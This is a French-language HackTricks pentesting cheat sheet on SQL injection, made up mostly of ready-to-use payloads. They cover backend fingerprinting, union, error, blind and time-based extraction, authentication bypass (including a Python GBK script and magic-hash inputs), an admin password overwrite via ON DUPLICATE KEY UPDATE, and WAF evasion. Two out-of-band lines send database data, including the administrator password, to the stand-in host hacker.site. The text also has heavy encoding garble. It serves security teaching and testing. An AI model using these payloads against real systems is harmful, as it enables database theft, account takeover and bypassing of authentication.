31 KiB
SQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the đŹ Discord group or the telegram group or follow us on Twitter đŠ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
ââââRootedCON est l'Ă©vĂ©nement de cybersĂ©curitĂ© le plus pertinent en Espagne et l'un des plus importants en Europe. Avec la mission de promouvoir les connaissances techniques, ce congrĂšs est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersĂ©curitĂ© dans chaque discipline.
{% embed url="https://www.rootedcon.com/" %}
Qu'est-ce que l'injection SQL ?
Une injection SQL est une faille de sĂ©curitĂ© qui permet aux attaquants de interfĂ©rer avec les requĂȘtes de base de donnĂ©es d'une application. Cette vulnĂ©rabilitĂ© peut permettre aux attaquants de voir, modifier ou supprimer des donnĂ©es auxquelles ils ne devraient pas avoir accĂšs, y compris des informations d'autres utilisateurs ou toute donnĂ©e Ă laquelle l'application peut accĂ©der. De telles actions peuvent entraĂźner des modifications permanentes de la fonctionnalitĂ© ou du contenu de l'application, voire compromettre le serveur ou provoquer un dĂ©ni de service.
Détection des points d'entrée
Lorsqu'un site semble ĂȘtre vulnĂ©rable Ă l'injection SQL (SQLi) en raison de rĂ©ponses serveur inhabituelles aux entrĂ©es liĂ©es Ă SQLi, la premiĂšre Ă©tape est de comprendre comment injecter des donnĂ©es dans la requĂȘte sans la perturber. Cela nĂ©cessite d'identifier la mĂ©thode pour s'Ă©chapper du contexte actuel de maniĂšre efficace.
Voici quelques exemples utiles :
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Alors, vous devez savoir comment corriger la requĂȘte afin qu'il n'y ait pas d'erreurs. Pour corriger la requĂȘte, vous pouvez entrer des donnĂ©es afin que la requĂȘte prĂ©cĂ©dente accepte les nouvelles donnĂ©es, ou vous pouvez simplement entrer vos donnĂ©es et ajouter un symbole de commentaire Ă la fin.
Remarque : si vous pouvez voir des messages d'erreur ou si vous pouvez repĂ©rer des diffĂ©rences lorsque la requĂȘte fonctionne et quand ce n'est pas le cas, cette phase sera plus facile.
Commentaires
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Confirmation avec des opérations logiques
Une méthode fiable pour confirmer une vulnérabilité d'injection SQL consiste à exécuter une opération logique et à observer les résultats attendus. Par exemple, un paramÚtre GET tel que ?username=Peter
produisant un contenu identique lorsqu'il est modifié en ?username=Peter' or '1'='1
indique une vulnérabilité d'injection SQL.
De mĂȘme, l'application d'opĂ©rations mathĂ©matiques sert de technique de confirmation efficace. Par exemple, si l'accĂšs Ă ?id=1
et ?id=2-1
produit le mĂȘme rĂ©sultat, cela indique une injection SQL.
Exemples démontrant la confirmation par opération logique :
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Cette liste de mots a été créée pour essayer de confirmer les SQLinjections de la maniÚre proposée :
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
Confirmation par le temps
Dans certains cas, vous ne remarquerez aucun changement sur la page que vous testez. Par conséquent, une bonne façon de découvrir les SQL injections aveugles est de faire en sorte que la base de données effectue des actions qui auront un impact sur le temps que la page met à charger.
Par consĂ©quent, nous allons concatĂ©ner dans la requĂȘte SQL une opĂ©ration qui prendra beaucoup de temps Ă complĂ©ter :
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
Dans certains cas, les fonctions sleep ne seront pas autorisĂ©es. Ensuite, au lieu d'utiliser ces fonctions, vous pourriez faire en sorte que la requĂȘte effectue des opĂ©rations complexes qui prendront plusieurs secondes. Des exemples de ces techniques seront commentĂ©s sĂ©parĂ©ment sur chaque technologie (le cas Ă©chĂ©ant).
Identification du Back-end
La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonctions des différents back-ends. Vous pourriez utiliser les fonctions sleep de la section précédente ou celles-ci (tableau de payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Aussi, si vous avez accĂšs Ă la sortie de la requĂȘte, vous pourriez faire en sorte qu'elle imprime la version de la base de donnĂ©es.
{% hint style="info" %} Dans la suite, nous allons discuter de différentes méthodes pour exploiter différents types d'injection SQL. Nous utiliserons MySQL comme exemple. {% endhint %}
Identification avec PortSwigger
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
Exploitation basée sur Union
DĂ©tection du nombre de colonnes
Si vous pouvez voir la sortie de la requĂȘte, c'est le meilleur moyen de l'exploiter.
Tout d'abord, nous devons dĂ©couvrir le nombre de colonnes que la requĂȘte initiale renvoie. Cela est dĂ» au fait que les deux requĂȘtes doivent renvoyer le mĂȘme nombre de colonnes.
Deux méthodes sont généralement utilisées à cet effet :
Order/Group by
Pour dĂ©terminer le nombre de colonnes dans une requĂȘte, ajustez progressivement le nombre utilisĂ© dans les clauses ORDER BY ou GROUP BY jusqu'Ă ce qu'une rĂ©ponse fausse soit reçue. MalgrĂ© les fonctionnalitĂ©s distinctes de GROUP BY et ORDER BY dans SQL, les deux peuvent ĂȘtre utilisĂ©s de maniĂšre identique pour dĂ©terminer le nombre de colonnes de la requĂȘte.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
SĂ©lectionnez de plus en plus de valeurs nulles jusqu'Ă ce que la requĂȘte soit correcte :
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Vous devriez utiliser des valeurs null
car dans certains cas, le type des colonnes des deux cĂŽtĂ©s de la requĂȘte doit ĂȘtre le mĂȘme et null est valide dans tous les cas.
Extraire les noms de bases de données, les noms de tables et les noms de colonnes
Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom de la table d'une base de données, les noms des colonnes de la table :
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Il existe une mĂ©thode diffĂ©rente pour dĂ©couvrir ces donnĂ©es sur chaque base de donnĂ©es diffĂ©rente, mais la mĂ©thodologie reste toujours la mĂȘme.
Exploiting Hidden Union Based
Lorsque la sortie d'une requĂȘte est visible, mais qu'une injection basĂ©e sur un union semble inatteignable, cela signifie la prĂ©sence d'une injection basĂ©e sur un union cachĂ©. Ce scĂ©nario conduit souvent Ă une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basĂ©e sur un union, il est nĂ©cessaire de discerner la requĂȘte d'exĂ©cution sur le backend.
Cela peut ĂȘtre accompli grĂące Ă l'utilisation de techniques d'injection aveugle ainsi qu'aux tables par dĂ©faut spĂ©cifiques Ă votre SystĂšme de Gestion de Base de DonnĂ©es (SGBD) cible. Pour comprendre ces tables par dĂ©faut, il est conseillĂ© de consulter la documentation du SGBD cible.
Une fois la requĂȘte extraite, il est nĂ©cessaire d'adapter votre charge utile pour fermer en toute sĂ©curitĂ© la requĂȘte originale. Ensuite, une requĂȘte union est ajoutĂ©e Ă votre charge utile, facilitant l'exploitation de l'injection basĂ©e sur un union nouvellement accessible.
Pour des informations plus complĂštes, consultez l'article complet disponible Ă Healing Blind Injections.
Exploiting Error based
Si pour une raison quelconque vous ne pouvez pas voir la sortie de la requĂȘte mais que vous pouvez voir les messages d'erreur, vous pouvez utiliser ces messages d'erreur pour ex-filtrer des donnĂ©es de la base de donnĂ©es.
En suivant un flux similaire à celui de l'exploitation basée sur un union, vous pourriez réussir à vider la base de données.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Exploiter le Blind SQLi
Dans ce cas, vous ne pouvez pas voir les rĂ©sultats de la requĂȘte ou les erreurs, mais vous pouvez distinguer quand la requĂȘte renvoie une rĂ©ponse vraie ou fausse car il y a diffĂ©rents contenus sur la page.
Dans ce cas, vous pouvez abuser de ce comportement pour extraire la base de données caractÚre par caractÚre :
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiter l'Error Blind SQLi
C'est le mĂȘme cas que prĂ©cĂ©demment mais au lieu de distinguer entre une rĂ©ponse vraie/faux de la requĂȘte, vous pouvez distinguer entre une erreur dans la requĂȘte SQL ou non (peut-ĂȘtre parce que le serveur HTTP plante). Par consĂ©quent, dans ce cas, vous pouvez forcer une SQLerror chaque fois que vous devinez correctement le caractĂšre :
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Exploiter les SQLi Basés sur le Temps
Dans ce cas, il n'y a pas de moyen de distinguer la rĂ©ponse de la requĂȘte en fonction du contexte de la page. Mais, vous pouvez faire en sorte que la page prenne plus de temps Ă charger si le caractĂšre devinĂ© est correct. Nous avons dĂ©jĂ vu cette technique utilisĂ©e auparavant pour confirmer une vulnĂ©rabilitĂ© SQLi.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
RequĂȘtes EmpilĂ©es
Vous pouvez utiliser des requĂȘtes empilĂ©es pour exĂ©cuter plusieurs requĂȘtes Ă la suite. Notez que bien que les requĂȘtes suivantes soient exĂ©cutĂ©es, les rĂ©sultats ne sont pas renvoyĂ©s Ă l'application. Par consĂ©quent, cette technique est principalement utile en relation avec des vulnĂ©rabilitĂ©s aveugles oĂč vous pouvez utiliser une seconde requĂȘte pour dĂ©clencher une recherche DNS, une erreur conditionnelle ou un dĂ©lai.
Oracle ne prend pas en charge les requĂȘtes empilĂ©es. MySQL, Microsoft et PostgreSQL les prennent en charge : QUERY-1-HERE; QUERY-2-HERE
Exploitation Hors Bande
Si aucune autre mĂ©thode d'exploitation n'a fonctionnĂ©, vous pouvez essayer de faire en sorte que la base de donnĂ©es exfiltre les informations vers un hĂŽte externe contrĂŽlĂ© par vous. Par exemple, via des requĂȘtes DNS :
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Exfiltration de données hors bande via XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Exploitation Automatisée
Consultez la SQLMap Cheatsheet pour exploiter une vulnérabilité SQLi avec sqlmap.
Informations spécifiques à la technologie
Nous avons déjà discuté de toutes les façons d'exploiter une vulnérabilité d'injection SQL. Trouvez quelques astuces supplémentaires dépendantes de la technologie de base de données dans ce livre :
Ou vous trouverez beaucoup d'astuces concernant : MySQL, PostgreSQL, Oracle, MSSQL, SQLite et HQL dans https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
âââââRootedCON est l'Ă©vĂ©nement de cybersĂ©curitĂ© le plus pertinent en Espagne et l'un des plus importants en Europe. Avec la mission de promouvoir les connaissances techniques, ce congrĂšs est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersĂ©curitĂ© dans chaque discipline.
{% embed url="https://www.rootedcon.com/" %}
Contournement d'authentification
Liste à essayer pour contourner la fonctionnalité de connexion :
{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}
Contournement d'authentification par hachage brut
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Cette requĂȘte met en Ă©vidence une vulnĂ©rabilitĂ© lorsque MD5 est utilisĂ© avec true pour la sortie brute dans les vĂ©rifications d'authentification, rendant le systĂšme susceptible Ă l'injection SQL. Les attaquants peuvent exploiter cela en crĂ©ant des entrĂ©es qui, lorsqu'elles sont hachĂ©es, produisent des parties de commandes SQL inattendues, conduisant Ă un accĂšs non autorisĂ©.
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
Contournement de l'authentification par hachage injecté
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Liste recommandée:
Vous devriez utiliser comme nom d'utilisateur chaque ligne de la liste et comme mot de passe toujours : Pass1234.
(Ces payloads sont également inclus dans la grande liste mentionnée au début de cette section)
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
Contournement d'authentification GBK
SI ' est Ă©chappĂ©, vous pouvez utiliser %A8%27, et lorsque ' est Ă©chappĂ©, il sera crĂ©Ă© : 0xA80x5c0x27 (â')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Script Python :
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Injection polyglotte (multicontexte)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
Modifier le mot de passe d'un objet/utilisateur existant
Pour ce faire, vous devriez essayer de créer un nouvel objet nommé comme le "objet maßtre" (probablement admin dans le cas des utilisateurs) en modifiant quelque chose :
- Créer un utilisateur nommé : AdMIn (lettres majuscules et minuscules)
- Créer un utilisateur nommé : admin=
- SQL Truncation Attack (lorsqu'il y a une sorte de limite de longueur dans le nom d'utilisateur ou l'email) --> Créer un utilisateur avec le nom : admin [beaucoup d'espaces] a
SQL Truncation Attack
Si la base de données est vulnérable et que le nombre max de caractÚres pour le nom d'utilisateur est par exemple 30 et que vous souhaitez usurper l'identité de l'utilisateur admin, essayez de créer un nom d'utilisateur appelé : "admin [30 espaces] a" et n'importe quel mot de passe.
La base de données va vérifier si le nom d'utilisateur introduit existe dans la base de données. Si non, elle va couper le nom d'utilisateur au nombre max de caractÚres autorisés (dans ce cas à : "admin [25 espaces]") et elle va automatiquement supprimer tous les espaces à la fin en mettant à jour dans la base de données l'utilisateur "admin" avec le nouveau mot de passe (une erreur pourrait apparaßtre mais cela ne signifie pas que cela n'a pas fonctionné).
Plus d'infos : https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note : Cette attaque ne fonctionnera plus comme décrit ci-dessus dans les derniÚres installations de MySQL. Bien que les comparaisons ignorent toujours les espaces de fin par défaut, tenter d'insérer une chaßne qui est plus longue que la longueur d'un champ entraßnera une erreur, et l'insertion échouera. Pour plus d'informations à ce sujet, consultez : https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
Vérification basée sur le temps d'insertion MySQL
Ajoutez autant de ','',''
que vous le jugez nécessaire pour sortir de l'instruction VALUES. Si un délai est exécuté, vous avez une SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
La clause ON DUPLICATE KEY UPDATE
dans MySQL est utilisĂ©e pour spĂ©cifier les actions que la base de donnĂ©es doit entreprendre lorsqu'une tentative est faite d'insĂ©rer une ligne qui entraĂźnerait une valeur dupliquĂ©e dans un index UNIQUE ou une CLĂ PRIMAIRE. L'exemple suivant dĂ©montre comment cette fonctionnalitĂ© peut ĂȘtre exploitĂ©e pour modifier le mot de passe d'un compte administrateur :
Exemple de charge utile d'injection :
Une charge utile d'injection pourrait ĂȘtre conçue comme suit, oĂč deux lignes sont tentĂ©es d'ĂȘtre insĂ©rĂ©es dans la table users
. La premiĂšre ligne est un leurre, et la deuxiĂšme ligne cible l'email d'un administrateur existant dans l'intention de mettre Ă jour le mot de passe :
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Voici comment cela fonctionne :
- La requĂȘte tente d'insĂ©rer deux lignes : une pour
generic_user@example.com
et une autre pouradmin_generic@example.com
. - Si la ligne pour
admin_generic@example.com
existe déjà , la clauseON DUPLICATE KEY UPDATE
se déclenche, demandant à MySQL de mettre à jour le champpassword
de la ligne existante Ă "bcrypt_hash_of_newpassword". - Par consĂ©quent, l'authentification peut ensuite ĂȘtre tentĂ©e en utilisant
admin_generic@example.com
avec le mot de passe correspondant au hash bcrypt ("bcrypt_hash_of_newpassword" reprĂ©sente le hash bcrypt du nouveau mot de passe, qui doit ĂȘtre remplacĂ© par le hash rĂ©el du mot de passe souhaitĂ©).
Extraire des informations
CrĂ©ation de 2 comptes en mĂȘme temps
Lors de la tentative de création d'un nouvel utilisateur, un nom d'utilisateur, un mot de passe et un e-mail sont nécessaires :
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Utilisation de décimal ou hexadécimal
Avec cette technique, vous pouvez extraire des informations en créant seulement 1 compte. Il est important de noter que vous n'avez besoin de commenter quoi que ce soit.
Utilisation de hex2dec et substr :
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Pour obtenir le texte, vous pouvez utiliser :
__import__('binascii').unhexlify(hex(215573607263)[2:])
Utiliser hex et replace (et substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
ââââââRootedCON est l'Ă©vĂ©nement de cybersĂ©curitĂ© le plus pertinent en Espagne et l'un des plus importants en Europe. Avec la mission de promouvoir les connaissances techniques, ce congrĂšs est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersĂ©curitĂ© dans chaque discipline.
{% embed url="https://www.rootedcon.com/" %}
Injection SQL routée
L'injection SQL routĂ©e est une situation oĂč la requĂȘte injectable n'est pas celle qui donne un rĂ©sultat, mais la sortie de la requĂȘte injectable va Ă la requĂȘte qui donne un rĂ©sultat. (From Paper)
Exemple :
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
Contournement WAF
Contournement sans espaces
Pas d'espace (%20) - contournement utilisant des alternatives d'espacement
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
Aucun espace - contournement en utilisant des commentaires
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - contourner en utilisant des parenthĂšses
?id=(1)and(1)=(1)--
No commas bypass
Pas de virgules - contournement utilisant OFFSET, FROM et JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Bypasses génériques
Liste noire utilisant des mots-clés - contournement en utilisant des majuscules/minuscules
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist utilisant des mots-clés insensible à la casse - contournement en utilisant un opérateur équivalent
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Contournement WAF par notation scientifique
Vous pouvez trouver une explication plus approfondie de cette astuce dans le blog gosecure.
Fondamentalement, vous pouvez utiliser la notation scientifique de maniĂšre inattendue pour contourner le WAF :
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Contourner la restriction des noms de colonnes
Tout d'abord, notez que si la requĂȘte originale et la table dont vous souhaitez extraire le drapeau ont le mĂȘme nombre de colonnes, vous pouvez simplement faire : 0 UNION SELECT * FROM flag
Il est possible d'accĂ©der Ă la troisiĂšme colonne d'une table sans utiliser son nom en utilisant une requĂȘte comme suit : SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
, donc dans une sqlinjection, cela ressemblerait Ă :
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Ou en utilisant un bypass de virgule :
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Ce truc a été pris de https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Outils de suggestion de contournement WAF
{% embed url="https://github.com/m4ll0k/Atlas" %}
Autres Guides
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Liste de DĂ©tection de Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
â
âââââââRootedCON est l'Ă©vĂ©nement de cybersĂ©curitĂ© le plus pertinent en Espagne et l'un des plus importants en Europe. Avec la mission de promouvoir les connaissances techniques, ce congrĂšs est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersĂ©curitĂ© dans chaque discipline.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Apprenez et pratiquez le Hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement!
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.